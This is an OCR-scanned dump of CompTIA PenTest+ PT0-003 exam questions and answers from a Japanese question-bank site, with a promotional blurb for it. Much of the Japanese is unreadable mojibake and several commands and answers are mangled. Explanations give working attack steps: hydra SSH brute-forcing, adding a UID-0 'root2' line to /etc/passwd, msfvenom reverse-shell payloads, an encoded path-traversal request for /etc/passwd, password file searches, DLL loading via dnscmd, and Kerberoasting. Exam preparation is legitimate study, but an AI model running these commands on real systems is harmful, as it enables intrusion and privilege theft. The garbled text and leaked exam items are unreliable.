T7AIVICEHRAFENF-O—FEETITHEELTEET,

Eﬁ:ﬁ: 26
BATRI—F RICTRAMTHVATLZERT JIEFZFFET S2LENHY FT, LLTOH
N5z onf=5E,
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thame IP address S Ul EFes

f'i‘_'—'-""‘:l"'-" I:_-..-I..... 1= - ._-.. ..._:1I

TRAA—ERIZEDR =7y FEFBIRTDIBELHY T H?
A 774 )L —/\—

B.hr7—32RX—X

C.U—AILT—ER—X

D. 97472 AYA

Eff: A(QAVRERKRT D)

* FE A E:

*CVSS (LBMfFEHIHEL A TL): EBMEOEXEZRL AI7HEVEEMRBENREZITH
52 ¢EERLET,

*EPSS (TR TAA RFRIRATIIYT DATL): EBEENREBICERAINSOREEZHEL
9,

* R

* hrdatabase: CVSS = 9.9 _EPSS = 0.50

*TF7AF2RYA F:CVSS =8.0 EPSS =0.01

*1)—HILT—RR—X:CVSS =8.2_EPSS =0.60

*J 74 )Y —/\—: CVSS =7.6_EPSS =0.90

* EIRDOER:
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| Part 2 | (=) Show Question ") Reset All Answers

root@attackermachine:~# find -perm -2 -type f 2 lev/null Xargs
root@attackermachine:~#

root@attackermachine:~¢ find -perm -u=s -type f lev/null xai NG -1
root@attackermachine:~# grep "/bin/bash" /etc/passwd it -d' gl ke, €,

root@attackermachine:~# cut itz

Which of the following sets of commands most likely escalates privileges? Assuming the privileged escalation was
successful, which of the following remediations
. TR should be taken? (Select two).
s’ oo S _! Remove no_root_squash from fstab

[} Remove SUID bit from <

) Encrypt the /etc/passwd file

I Update SSH to latest version

L Strengthen password of lowpriv account

_| Make backup script not world-writeable

IEfiZ:

TEERREIZCOVTIF UTOHRBEZSB LTS,
Explanation:

Y—EXREZBATHAREESARIEVITY RIEROELSY TT,
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
HREZFREKTH-HOBEYGITU R Y MEIRDEBY TT,
echo "root2:5Z0YXRFHVZ70Y::0:0:root:/root:/bin/bash" >> /etc/passwd
ERFEEIEILI-RICEITIILENHIBEEIRDELEYTY,
*cp M5 SUID Ew FEFHIBRLET,

NPTy T RY) TEEHETHLESTAHATERVWELESICLET,
2al—TarDEREMNERTY TNARTy TDERHA

N—HM Y —EXDEHA

*NmapX ¥ v 2%

* Command: nmap -sC -T4 192.168.10.2

* Purpose: This command runs a default script scan with timing template 4 (aggressive).
* Output:

bash

Copy code

Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba



3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).
* Enumerating Samba Shares

* Command: enum4linux -S 192.168.10.2

* Purpose: To enumerate Samba shares and users.
* Qutput:

makefile

Copy code

user:[games] rid:[0x3f2]

user:[nobody] rid:[0x1f5]

user:[bind] rid:[0x4ba]

user:[proxy] rid:[0x42]

user:[syslog] rid:[0x4ba]

user:[www-data] rid:[0x42a]

user:[root] rid:[0x3e8]

user:[news] rid:[0x3fa]

user:[lowpriv] rid:[0x3fa]

We identify a user lowpriv.

* Selecting Exploit Command

* Hydra Command: hydra -l lowpriv -P 500-worst-passwords.ixt -t 4 ssh://192.168.10.2:22
* Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500

worst passwords.

* Explanation:

* -I lowpriv: Specifies the username.

* -P 500-worst-passwords.txt: Specifies the password list.

* -t 4: Uses 4 tasks/threads for the attack.

* ssh://192.168.10.2:22: Specifies the SSH service and port.
* Executing the Hydra Command

* Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation

* Finding SUID Binaries and Configuration Files

* Command: find / -perm -2 -type f 2>/dev/null | xargs Is -I

* Purpose: To find world-writable files.

* Command: find / -perm -u=s -type f 2>/dev/null | xargs Is -I
* Purpose: To find files with SUID permission.

* Command: grep "/bin/bash" /etc/passwd | cut -d":' -f1-4,6,7
* Purpose: To identify users with bash shell access.

* Selecting Privilege Escalation Command

* Command: echo "root2:5Z0YXRFHVZ70Y::0:0:root:/root:/bin/bash" >> /etc/passwd

* Purpose: To create a new root user entry in the passwd file.
* Explanation:



* root2: Username.

* 5Z0YXRFHVZ70OY: Password hash.

*::0:0: User and group ID (root).

* /root: Home directory.

* /bin/bash: Default shell.

* Executing the Privilege Escalation Command

* Result: Creation of a new root user root2 with a specified password.

* Remediation Steps Post-Exploitation

* Remove SUID Bit from cp:

* Command: chmod u-s /bin/cp

* Purpose: Removing the SUID bit from cp to prevent misuse.

* Make Backup Script Not World-Writable:

* Command: chmod o-w /path/to/backup/script

* Purpose: Ensuring backup script is not writable by all users to prevent unauthorized
modifications.

Execution and Verification

* Verifying Hydra Attack:

* Run the Hydra command and monitor for successful login attempts.

* Verifying Privilege Escalation:

* After appending the new root user to the passwd file, attempt to switch user to root2 and check
root privileges.

* Implementing Remediation:

* Apply the remediation commands to secure the system and verify the changes have been
implemented.
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A penetration tester has been provided with only the public domain name and must enumerate
additional information for the public-facing assets.

INSTRUCTIONS

Select the appropriate answer(s), given the output from each section.

Output 1


https://www.jpntest.com/shiken/PT0-003-mondaishu

Output 1 Qutput 2 Output 3

[*] Target: someclouddomain.org

Searching 0 results.
Searching 100 results.
Searching 200 results.
[¥] Searching Google.

[*]1 No IPs found.

[*] Emails found: 9O

afrihari@someclouddomain.org
security@someclouddomain.org
info@someclouddomain.org
gfareau@someclouddomain.org
avapretta@someclouddomain.org
lastname@someclouddomain.org
researchIT@someclouddomain.org
ghstrowski@somec louddomain.org

conferencespeakers@someclouddomain.org

[*¥] Hosts found: 9

academic-stores. someclouddomain.org:34.196.18.124, 34.233.45.248,
52.7.213.114, 54.174.10._37
certifications.someclouddomain.org:198.134.5.32
connection.someclouddomain.org:13.107.246.51, 13.167.213.51
logins. someclouddomain.org:198.134.5.46
your.someclouddomain.org:52.173.139.125

ITpartners.someclouddomain.org:104.43.149.161
1s.someclouddomain.org:67.199.248.13, 67.199.248.12

stores.someclouddomain.org:34.233.45.248, 52.7.213.114, 54.174.10.37,
34.196.18.124
www . somec louddomain.org:23.96.239.26




Which of the following tools created this output?

O WHOIS
O dig

= CompETIA

® TheHarvester

Select the appropriate command to produce the output:

theharvester -d someclouddomain.org -1 200
-b google.com

theharvester -d google.com -1 200 -b
someclouddomain.org




Output 1 Output 2 Output 3

nslookup Output
Server: Unknown
Address: 8.8.8.8

Non-Authoritative answer:
Name : someclouddomain.org
Addresses:

245.62.183.182
245.145.184.203

dig Output

; DiG 9.11.5-P4.testmachine-Ubuntu <<>> someclouddomain.org

;5 global options: +cmd
someclouddomain.org. 300 IN A 245.62.183.182
someclouddomain.org. 300 IN A 245.145.184.203




Review Output 2 for the ns1ookup and dig commands:

Use the provided public DNS server to find the appropriate IPs for
someclouddomain.org.

The local DNS server does not have Internet access.

Your Domain: pentestdomain.com
Your IP Address: 10.97.55.62

Public DNS Server: 8.8.8.8

Private DNS Server: 192.168.20.66
Target Domain: someclouddomain.org

Select TWO commands that would produce the nslookup and

dig output:

$ dig @8,84878 +noall +answer
some€louddomain.org
-0 $ dig @ .168.20.66 someclouddomain.org
SO iﬁ\
() $ dig someclouddomain.org +noall +short
(J > nslookup someclouddomain.org 8.8.8.8
(0 > nslookup someclouddomain.org 192.168.20.66

(J > nslookup someclouddomalin.org




Ontput 1 Outpart 2 Chutput 3

{command 1}

whois 245.62.183.203

HetRange: 245.62.0.8 -

CIDR: 245.62.8.8/16

NetName: Amazon-85

HetHandle: NET-245-62-8-8-1

Parent: NET245 (NET 245-9-9-8-8)
NetType: Direct Allocation

OriginAS: ASS6466, ASGES22, AST226
Organization: Amazon.com, Inc. (AMAZON)
RegDate 2010-88-27

Updated: 2815-89-24

Ret: https://rdap.arin.net/registry/ip/2A57680183.203

{command 2)

whois someclouddomain.org

Domain Name: someclouddomalfiuorg
Registry Domain ID: D@@B33812-LRIA
Updated Date: 2071.02515184:43:387
Creation Date: 1993°@9-22T64:08: 387
Registrar: LocalCompiterPro’s, Inc.

Registrar Abuse Contact Email: domainabuse@localcomputerpros.com
Registrar Abuse Contact Phone: 1234567789

Registry Expiry Date: 2021-88-14T084:06:0887




Review Output 3. Select the appropriate option for each

dropdown

Where is the domain being hosted?

-—

W

Someclouddomain
LocalComputerPro's.com
Amazon

Who registered the domain?

o

LocalComputerPro's. Inc.
ARIN
Someclouddomain
Amazon

When was the domain registered?

W

1993-09-22T04:00:38Z
2021-02-15T04:43:38Z

2015-09-24

2010-08-27
1E fiZ:
See all the solutions below in Explanation.
Explanation:

A screenshot of a computer Description automatically generated



Which of the following tools created this output?

O WHOIS
O dig

= CompETIA

® TheHarvester

Select the appropriate command to produce the output:

theharvester -d someclouddomain.org -1 200
-b google.com

theharvester -d google.com -1 200 -b
someclouddomain.org

Select TWO commands that would produce the nslookup and

dig output:

$ dig @8.8.8.8 +noall +answer
m
someclouddomain.org {3

S dig @192.168. %cfnain.or
= S z‘mﬁﬁ v

+short

0§ dig é% uddomaln org +noall +short
> nslo
O > nslookup someclouddomain.org 192.168.20.66

up someclouddomain.org 8.8.8.8

O > nslookup someclouddomain.org




Whepeis sligdéntain being hosted?

L

Amazon W |

Who registered the domam?

LocalComputerPro's, Inc. v |

When was the domain registered?

1993-09-22T04:00:38Z w
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Use SCA software to scan the application source code (Option D):

Explanation: Software Composition Analysis (SCA) tools are used to analyze open source and
third-party components within the code for vulnerabilities and license compliance.
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Drawbacks: While SCA tools are useful for dependency analysis, they are not specifically tailored
for finding hard-coded credentials.

Conclusion: Running TruffleHog against a local clone of the application is the most effective
approach for quickly identifying hard-coded credentials in a large codebase within a limited
timeframe.
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[CHEMLTWBZENRIESIET,

FTRTDIVT =AY MNEBT— 2 EREICHEFTIFHBRLET (A T3> B):
TAMEROBEEERILET,

DS5A4AT7 Y MEBANDFRET VR EHIELET,

HiEIZIE BEEEEY—I (shred_ sdelete) PEESIEESNI=X FL—D0HIBRGEELRHY F£9,
SEE¥: CompTIA PenTest+ PT0-003 ARXEFEEFHA K- EUHF—D AL CEDT—F LI
Eol=A T3

T a v ABROEREZEIR): RETIN, T—E2ARLRICHESINDIDITTESLHY FTEA,
T3 C(HEBEEREBEROBRR). EETIN IRTOT7—T 14779 MIRLT B0+ TIX
HYFEtLA,

T3 VDC2AVIZAMIVFYDIY Y A DU). OPSECIZE>TEETIMN V5
AT T—RDTSANI—IZIEFRDLERA,

BRi: 38

BATRE—(F 2—4y FMZEERITONI=/RAT—F AU T#WMEL BEEOv I 7ok
R)—%HALFES,

TRA—=IE . TOERRBIZTAI b2V I TR LESGVEBATVEYT, TREZ—ERXR
DEDFEZFERAIARNETTLELOIMN?

ADLTUOVRILAREY I 42T

B. MFAJR 55

C. #EuW®E

D. JIL— 74+ —RKE

FfR:A(QAV REFRERT D)
TOERBTHRICTAD ROV ITOEINEDOFRETBHIZIE BATREI—EV LT
UXIWARERY T4 VT EFERATIMENHY FT,

Explanation:

*OLTUOVRILAREAY T4 Y
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CEER BWEBEELS BEIEEDT—ARENCHMELEBRMOA—HY—FZENNRT—FORTD
JRMEFERALT 7HOY MIFREIZT Y ERTHIHRERE,

*FE TIL— R DA —RAKBEFELRY JLTUoVvILREY I VI TIREBMOY LTY
DHIDMEREIND O THOU EHIZYDORTRENRY 7Aoo OV I TO AHZ
ALY H—=ENB)RIDBRDRIZHZ 5NET,

*vw—)L: Sentry MBA_Snipr GEDY—ILIX I LTI A AV T4 VT RBEIZEKLSFERS
nNEY,

*EDOHMDTI =Y

*MFAJRS: A—H— 2R ST TCEERDBIADEREZZTANSED Y- vI)L I VDZTY)
DOEM, COaAVTXFRAINTIEAY I T L EEETIDICITERTEEEA,

CHERE: JIL— b7+ —RABEIZUTWETH AIEEOHD/XRT—FDOY X FEFERALE
T EHMEDRTICEYAYITOREIND)RVIFEKARELTHYET,

*ITIN— R I —RKBE: ZEZoNBTRTD/IART— FOHAEHLEZERRMICAITLET, R
TEENETEDE THOEOAY I T MO RET DAEEENHY F9,
RUTRINDSEEH:

*INRT—FHE: SFEIFLGBEONRT—FHELE TN THO U DX T1I2E
ALHEBEEBMBLET,

*FTAIEAYITORR)S—AYITO N AN XLOREHAERATR bRIZAYY
TORNM)A—SNGEWNKSITT HEIRICDLTORRHE,

GLTUOOXYILREAY T4 VT EFERTHE BATREI—IET7 Aoy 9Tk KRY
V—F M) A—ETICRRHOEREREFALTCT IV CREHAA I ENTEE2H AT —
FHREICHLTEYRTILRAEOEWT TO—FMNaEEICHEY £9,

BRi: 39

f\°7?~|~|/—~>a VTREA—HEEERF Y UEERELTCVET, TREA—IE HBANSRZ S
BEMEOHLIMBEEHERLIZVWEEZATVWET KRR IFL—Y 3 VTREI—E UTOENR

ﬂHv VEETTOMENHYEIMN?

A. SAST

B. %4 KkAh—

C.EBfIEhTULWEHA

D. RR kR—X

EfR: (EfizRELET)

HBONBN LR ZSFREMED HAHMBEZHERT HICIE, BRATRAEZ—IEFEIA SN TULVGELR

FYUEETTOIMLENHYET,

RSN TULVEVWRF v

TE G MBELORAX Y UIF AFX v o Y—ILICERIIERFIREBEETICEITINET, ChiF >

ATLADERT ) ERAEEZHEGTOVINBREEORREZ T2 L—MLET,

B ARSI THY RBEELLTERINSAREMEOHHMEHEEEFELETIT, ChITE BEL

TWBAR—br BHWY I D27 HNEMLRZDTBEULERELENEENET,
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B 40

BATRAE—(FLInUXD T TH—/N\—LETUN—R T )LZFHE ERZIL—MIEEKT B LIS
BEILELE, TR MR TREI—EROI—F—HERIC)IL—FELTRITA DL EBEFET
LTWAILIZRDEFEL, COA—YV—DEEEHTEVLSIC BATREI—HTX b
[CZDHY—N—LETIL—FULRILDN—=IRTUREHBFT BICIE, RD S5 b ENDRELEIR
RTL&EIM?

A.Web Y4 FDJL—FIZTWeb 2z )LFEMLET,

B. JIN—=R VT )LZED TTY WHKRICFTYvTIL—FKLFET,

C.IDOD#FHFL L 21— —% Jetc/passwd 7 7 A JLIZEEMLET,

D.root A —H—@D/INATV—F#ZHBL TRAMRICTICELET,

EfE:C (a4 FEEET D)

REML—2aVTFRE—DTFRAMRIZZDH—N—LETIL— FLRILDKEGEEZHIZET D=0
DEBEHAEIE IDODFLWLNI—HF—% /etc/passwd 7 7 [/ JLIZEBEMT B2 ETY, Chlk
Y RRFL—2 30 TRE—3MDA——LELA—HY—THhO Y FEFEHTEEITA,
IL— MERNMIEIND O MDI—F—DEEZHIFERA, NIE, I—F—R ELHED
A—H—ID0 ZETHLULVITH letc/lpasswd 7 7 A JLIZEMT A ETRETEFET HIAIE b
NA—H—D1—H—ZNH Johndoe | DI5FE BT 54TIE johndoe:x:0:0:John
Doe:/root:/bin/bashj& %Y £, A—HF—ZFEBMLEE KRR L—23 0 TFRAF2—(F Sujav
VREFERALTHLVW AT —ICUIVEBZ IL— MERZRGETEET,

B 41

RRML—=2a3VTRE—([F BHED)E—FETAGEIVRATOA FAOY z)La— FZ&EM

TEEBEBATVET  TREF—E 2—7 Y FETEITSNATVETILVITHEY T

DIFIZE>TRAO—FNTAV I ENEDEHITSELTVET, P IL7 IV ERERET

BIBIC, TRA—IEUTOEDIATY FEFRTRETLLIN?

A. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload

windows

/bind_tcp LPORT=443

B. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000

C. msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp

LHOST=10,

10.10.100 LPORT=4444 EXITFUNC=7%% L

D. & v ka—4—31BMN /administrator | hexdump > X4 A— K

EfE:A(QAV REHEEKT D)

Using shikata_ga_nai:

CHOIVI—F—[ERAO—FZHFTEL LDz T7RRICEIBEERHECLFET,
ZNIATY FIE x867—F TV FvDWindowsEx 2 —%7 v k&9 Bbind> =)L
Wwindows/bind_tcp) R4 B— F&#HEELF T,

64.

fthDFIRZ (T EE R DH?
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B.C.IMbDATY FERAMO—FZERLFEIN, Toa—4F—%2FRALAGL D TILDT
TXRRIZE>THREShDAIEEENAESSHBYET,

D: 2DaAX Y FEY T ILaO—FOEREFEEFZTHY  THO U M 2RETIHATHLHER
nFEJ,

CompTIA Pentest+ 1) 7 7 LV R

FASLD3.0XHEELIVRTOA )

B 42

RBRATRAE—BNKAEATMAR Y bT—V DIfESHEHERF v U EEELTOET , HBBOEHD—D
ELT REY N EROBERIZCEAATMORMAICEEEZEZ LGN ENEFLNTHET, T
RAE—IE SHOMEBER X ¥ D ESHERIBEYICHE-TLOHIZ D55 EDORNKEERET N
ETL&EOIM?

ARELEWNWE—4SY FE2XF Y T 5IZ1E Nmap D -host-timeout R4 v FE2ERALET,

B. DY UEFRLTAFT Yy U ERITLET,

C.Nmap @ -T2 R4/ vF#FALT RFX Y+ UREFEC L JVY—REDVPHLLTEFTLET,
D. ¥ v VIIBRARAFIZOHAEITLET,

FfE:C(aAAV FEEKRT D)

BE: 43

TXaUT47F )R EH192168 33N KRHMMDIRETA CEERELTWET, 7F R ME,
RATRI—DFHOEREZFRL RABLSRATLELVERMN D AT LIZK SBRHMOATREME
EFTRFRWEBATHWEY, COBMEZERT HOHIC, 7T R MIRONmapa<v U FD 55
ENZFERIANETLELEOIN?

A. nmap -D 10.5.2.2 192.168.5.5

B. nmap -scanflags SYNFIN 192.168.5.5

C.nmap -7—4 & 2 192.168.5.5

D. nmap -F 192.168.5.5

EfE: (EfEZRRLET)

BfE: 44

BRATREA—E Web 7TV 75— a oADFET7 I 2R EHA ROAT U FEEFTLET,
GET /foo/imagesf/file?id=2e%2e%2f%2e%2e%2e%2f%2e%2e%2e%2fetc%2fpasswd T X # —H
EITLTWLWS Web 7T 75— 3 VHEIIRDENTT D,

ARETLHVEERAF IO SR

B.VORYA NIV IR +ITA—D 1)

C.T4LU I RIN—H)L

D.A—AILTF7AILDA I IIL—F

IEfZ: (EffZRTLET)

KBEHI BEHLE-ERZEBA-TALY M EBBLT GIRENLT7MILIZTIEALEK
2ELTLET,
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FA4LY M) RSN—H)L T30 C)

COUYIRMTIKR Tova—KRaht= V=72V R (%2e%2e%2f=./) ZFERALTT4 LY
1) EFEEIL _Jetc/passwd ITF VA LET,

NI VATL IFZFANANDT I 2RAZENE LEEABMETA LY M) FSIN—HIILRET
9,

SEE¥: CompTIA PenTest+ PT0-003 AXEEBEHA K- Fa LI bJ FIN—HILKE | KRS
=7 av:

T3 VA(RETHVWEEA IO FSEB-IDOR):IDOR (X, T4 LY b FEHF—T 3
VTIEEEL AT bADEET Y X (: user_id=123 % user_id=456 [CZE) ZF AL
FY,

73U B(CSRF):CSRF (&, T4 LY b 7UORREIFEARODBWVWRELRTV 3 0%F1—
H—|ZRFMICETSIEET,

A7 arDB—HIL T7AILDAL 2P )L—F -LFD): LFI TIEA—HIL Z74ILDA 29 )L—
F(PHP X9 T rDEFTHE)NITONEIN, COKETEH I 7/ ILDFRAFIY DAL ITHN
FY,

Bf: 45

DI3AT7 MDY SO RFRELAVTLIRRBOFEFRIC, BATRAEI—ERESA AT
LERODERERZFALT V5V FRENOR NL—D FTOx ) FOFREEZERIET S
ERTEELS,

TREI—DT OV LATELEBHZRELLIRLTVLEDIEZRDS L ENTTH?
AJVTFFTDOI7zTL—a iERABE>TWVET

B. REMOF—EBEEDOFIHE

C. 7O/\f &—T® laaS [EE

D./X\TYw Y RALVIZYUR MEATWSaVTF

IEf#: (EfEZRTLET)

TRAA—BNF U TLUIROERERZFEFALTY IV FREADR FL—UF T2y MZT7H
LA TELERELTCHELBEVLGHAX 20T T Tz TL—V 3 VERSRATY, 72T
L— a3V EF EBETESY—RNR—TADH—ERZFRALTCA—HF—%RAS L UERE
52LT A—YT—HLE—DEREREY FTEHBDOVATLERLEIY—ERIZTVERTED
K5CTHTAERTT , 7zTL—2avFI SV RREBEFAVILIRRED D —LLRR
HEEAREIZLEIN  BEIICEBRINATOWVENEEFEX2 T VR ELH =0T ATREMEN
HYFET AT FTDIzTFL—YavBRIRIZEY avTFHAFrTLIA@IDTONA
HA—%EHEL ZDIDORI—TERIELLBWNGE KEENA VT LI RADERBEREFERAL
TARML=2F TV MITORRATEDLSICHDAREENHY £9, TOMDETEEMEIL,
TRA—DFAUTLUIADERBERZFERALTY S5V FREAODA NL—UF Ty MZTH
TR TELERELTEDLHATEOHY FEA BEROBEEI XX V57 FBREFIZ
FUOTLIRBREDT—AR) Y —ADREFET7T IV RIZFERSINIESEREE-EIT7I L
ABICEAT IO FIAZIELTWSES COBBEEZEEHY EEA, TONRSEF—2H
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(+%1aaSHEEF, COMBELFEREHY FRA, T 105 —Fy FMEATEREILE SN
VEA—TaVTN)V—RERKT LI T FH—EXETILTH SInfrastructure as a

Service @aS) IZESET BRI DT UAZEHBLTWWET N TU I AL V[ZEESIh TSSO
UTFFEL  COMRBEEFRBARHYERA, CNIE ANTY sy hD—HP1—HF—H50aY
TTOEEERT I X EICEET RO FUAEIELTVET,

Eﬁ:ﬁ: 46

An Nmap scan of a network switch reveals the following:

Nmap scan—repopt' £f6r 192.168.1.254
Host is up 10.014s latency).,

Not shown: 96 closed ports

Port State Serwice

22/tcp open ash
23/tcp open telnet
60/tcp open http
443/tcp open https

Which of the following technical controls will most likely be the FIRST recommendation for this
device?

A. Multifactor authentication

B. System-hardening techniques

C. Encrypted passwords

D. Network segmentation

EfR: (EfREERLET)

BMBI7EPT0-003[ERESK IFIPNTest.comiZft = PT0-0035ERICEM8 T 5 Z L ICRICIIBF

9 ! JIPNTest.comlE S =HTPT0-003:X B2 EIREE 124t L F£9, JPNTest.com PT0-0035: B& 51 =5
KELS5FHEINFEFLF-, CZTPTO-003EREDTRA IV VEFITANET T, &FTHRD

77 X _https://www.jpntest.com/shiken/PT0-003-mondaishu 802f§, 3 0%7 «+ A h™o >

k. R4 EIS|a— F: JPNshiken|

B 47
BATRAZ—HWFMELEAE— MNIEDDIDBENH DA VEKR—FRY FMIRDENTT M?
Ad1—HY—TFIOT4ET«

B. RERELE

C.¥*—&H#

D. KEDYEE

IEfE: (EfEERELEY)
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KREFT T4 BATRAMRIZETINFIE ERRN-FE BERINMHEE, EHE
DFERLGE)DFMLTFHAFRELET, ChITLY BEREIFHERROESLEKEZEET DS
DIZ/ILBEFET,

ATV TINART Y TDiRHA

FHEi L AR— FDBRESE:

A—HY—TFIOTA4ET 14 BMiMNGERRETCTELGL IV 2A—F—DFEICERFELITLS T
H BEIEIEFENFEA,

BEEREE: EETEHYEFIN BERLR— FORERRICE SV TEEREFIE=HIC
Ko TREEhFET,

F—EH RBATRAM LR—bLYERATEF2) T TS0 T RICEAELET,
KEDHE: BATAMICEAINSZ TOEREFEZHELHBAT 2EHICFRARTY,
WEMEOEEM:

OVTXRRMNOEMRE: RATAMDFIEC LD RAZIREL BERENSTI a2 DERIZHSD
J0—¢EAY YO EBERTLDICRILLET,

BEHLE EE L SRR A MO LI TE M T BHAM S EEEZHERLE T,
PEEUE BN TA LRV X2 ) T REFXRETETDELIICILET,

BATA MX#EM DS DSHE:

BATRAN A FTIE, TRAMDEREEEZMENICEAS-OIC FHLGHREDOGHAOEER
MEHRFLTLET,

HTB MEEFELARLAR— FMIF BATA MO TOCR EERZ5AIT 2 QIEMNLREDOHBAN
BENBENKLCHY ET,

S .

BATAF-NYX2TDEEAM

HTBAX LAR—k

Eﬁ:ﬁ: 48

BATRZ—[21£,192.168.1.0/24 DEFHRND—EDZ—4 v FEREL TEHEIFDVENT
T—LERMRERN)A—FTHEVSEBBNEZONTLET,

RD Nmap AFx v UEXD>6 ENNCOBEMERD L CERLETH?

A. nmap -sT -vvv -O 192.168.1.2/24 -PO

B. nmap -sV 192.168.1.2/24 -PO

C. nmap -sA -v -0 192.168.1.2/24

D. nmap -sS -O 192.168.1.2/24 -T1

Eff: (EfEZRTLET)

2% https://nmap.org/book/man-port-scanning-techniques.html

Eﬁ:ﬁ: 49

BATRARIRIZ, TRAEA—IEISPNT7 AT MBI HEREMELET ROKEBDS> L ZDIE
WAKBEHRITTA-OHDINIRESGLLEIDIEENTIMN?

A J—ILTUoF5vy bk
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B.¥/LRO—RF 45

C.DCY ¥ k™

D.LSASSZ > 7

B (24 FERET D)

Kerberoastingld, Windows Active DirectoryIRIEDH—EX T /L% SPN) 7 hHO VU b %
B E LE-RETY, G HRBAEUTOESY TY,

*SPN7Hh Y MZDOWT:

*SPN I, 2y FT—VADY—EXRIZMFEEINE—EDHMNFTHY , Kerberos IZ& S5 —E
AT7HhO Y bORBIEICFERSINET , oD 7hH 2 FE, SQL Server IIS H EDH—E X
BEMFToNEZENKSHYFET,

*ILARNO—RT 4 VT RE:

*BREM: SPN 7 hD Y BT 505,

*JOER: WEEL Kerberos 7O LIV EFERALTSPN7ATY DY —EX F5 v bEE
KLFET,

Fhy MEIY—ERT7HIY FONTLMAY a2 THES{EEIATVWET BB IZOFr vy b+
EX v TFv L A I7S5A0TNY LV 1DBHEEHAET,

BN H—ERX A9V RDTL—UTFFRA R NRRT—FERB L FNEEAROBIOE
BROFEICERLES,

“HDKME E DLE:

*J—I)LTY F4y FKRBTGT 7H Y b /vy a1 %ERAL T Kerberos TGT 2 LE T,
FAA UEBEOERBRIDLETT,

*DCShadow: FAA > OV bA—F5—% % L T Active Directory T— 2 #1RELF T  @F (X
BULMERAVETT,

*LSASS &> 7: Windows ¥ > LM LSASS 7O+ AN L ERERZHBHELET, Z<DHE.
A—hIILEBEERISIVLETT,

Kerberoasting TlE 179 BIZIE SPN 7h o Y MEBRAEBAKRMIZREL L S0, ChHIEL
WERIZRYET,

BM: 50

BRATARE—F A=A Y—ERDNNRT—FET)IL—F T+ —RAKET LH1-HIZRD Bash
R T REERLELT,

HFEBYVICHELTLEST RV T FEHESELIOIC BRATREI—FRODSLEDE
BETOBENHYFITHN?

A.. LT

cho"IE LLMWVIR T — F(E$p T " && break)

ho "1IE L LW SR — RIE$pTI" || break

B. .e

cho "IE LLVWXR T — F(E$pTY" && break)

o EELWLWIRD—RIE$pTY JFAIFXBEY £

C. &t
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cho "IE LLWXR T — FIESpTY" && break)

echo "IE LUV AR T — FIE$pTI " && break)

D..

{echo "IELLVWAR T — K(EX$p T ™" && break )

&

E. (echo"IELULVWXR T — RIE$pTT" && break )

EfE: (EREETRLET)

CeWL [, vz THA rE2o/B0—)LL EELET—2ZFERALTY T IYA FONRRT—F%
RS DI-ODHE X FEERT S5V —ILTT, CeWL (& Custom Word List generator MR
T HBEDIVIIHA FEBRESNEREIEFTRANNM I =L RRT—=FIS59F V5L EDE
MTHERATESEHEDYRMNERT RuUby RV Y T RTT CeWLIZ, Dz THA MZHB A4S
T—3 BFA—ILTRFLR ERER SN VVICEDOWTHBYRMNEERTDHIELTE
FT,CeWLIE BATRIZ—DREDI T ITHA MIEHOETHRIIA XASINT-HE) X k
FERL NRD—FR 959 F T REODENEZSHDIDIZH®KILEFET , DirBuster (&, D= T
Y—N—EDTA LI M)ETFANEZETIL— b T+ —RTHRARBZEOHICEATELY—IL
TET W3aflE DT 77U =3 DfHEREIIRTOA PERFX Y T 5OIZFERT
E5Y—I)LTY Patator [T, SEIFEHETOLANES—ERIZHLTINL—F T+r—RKEF
EITIAHDICERATESY—ILTY,

B 51

MR BATRAE—(XEMERED S TIILZRBL ROITVFEEFTLET,

findstr /SIM /C:"pass" *.txt *.cfg *.xml
BATREI—HMFNELEISFIELTVEDIERDENTTH?

AEZEIT7AIL

B. £[R

C. RFEARX k

D. %%

EfR: (EfEZzRTLET)

BATAA—[F a7 K findstr /SIM /C:"pass" *.txt *.cfg *xml ZEITL T MEZIEL LS &
LET,

A<y Ko

findstr: 7 7 1 LADBEEDXFHEHRRT 5=OICFERAINSD Windows DTV RS54 > 21—
TA4)T4,

ISIM: 72 3 VOMAEDLE,/SIFREDT ALY M) EFTRTOYTT4 LY FJT—EHT
577ANERREL NIEAXFENMNFERAILLGEVVERREREEL /MIE—HTLIAEDT 7
AINBDHEHEALET,

/C:"pass": ) TZILXFF| pass | ZHRELET,

*ixt .ofg xml: BN RELGDI T 7 ILDFEREERELET,

BEH
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DO RIE, ixt,.cfg. BLKY xml 77/ ILIATXFF| pass | ZRELET, ik /IR
T— FOZDMDOEZRIFR (W) ZREEL TSI EEZRLTVET,

INEDT7AIL 24 TIZIEEE EBROFHME, ERER, BEUNRT— FOBEFRESTH
HEEDHLZDMDEET—INEENTVET,

ZOMDA T 3

B 774 cfg 77410 xml 27 ILITER T 7 A IVICIEZIEELHY FT A, pass) &
WOBEDRRIE NRAT—RFEEDMEEFETELEZEKRLET,

R COaR U FEI7 74 ILOERZF v LIZYFIZELEZY LEHA,

REARX b 20T FIXRERR FOFZELIZEFZROY FHA,

RUTRAEDSEEH:

IHJRTOA M NRRT—FREDHERRZINZET DI L RIDT VR EWMEFLIZRIC
KL ITONB TV RTOA VNEDT IV TAET4TY,

BREROBRE: BRI 7ML EX A FPRIZRESIA TSI EREREREL T #ERER
BLEY Ry FID—ORTHEARICEEILIZYLET,

DAYV REETTDELICEY BATRI—E 24— v F PRTLDOESLHEHERICHE
ADAEEMOH L ZRESNTVSINRT—RFOZOMOMEEZR DTS EFZHHELFET,

BHfE: 52

dnscmd.exe /config /serverlevelplugindll C:\users\necad-TA\Documents\adduser.dll AT X 2 —
NERLEISIELTVADIEFRDENTT M?

A. DNS%I %

B. #ERF1&

C.avybkqroxvay

D. fFIAAIgE A —H—D X k

Ffa:B(a AV NEEKRT D)

TAI—IE EREZFET 5O BEDHAHDLL ZH—N—LANILDTZ 7140 LTER
L&S&ELTLET,

*HERFE £ 7230 B)

*ZMAaAT Y FIE DNS H—/N—%EFEF 5= DIEHRD Windows *V—)LT#H % dnscmd.exe
ZERALZET,

*BEDHD DLL (adduser.dll) #H—/IN—LRILD T4V ELTHRET S EICKY KE
FHIX SYSTEM LANIILDERZIRIGTEERT,

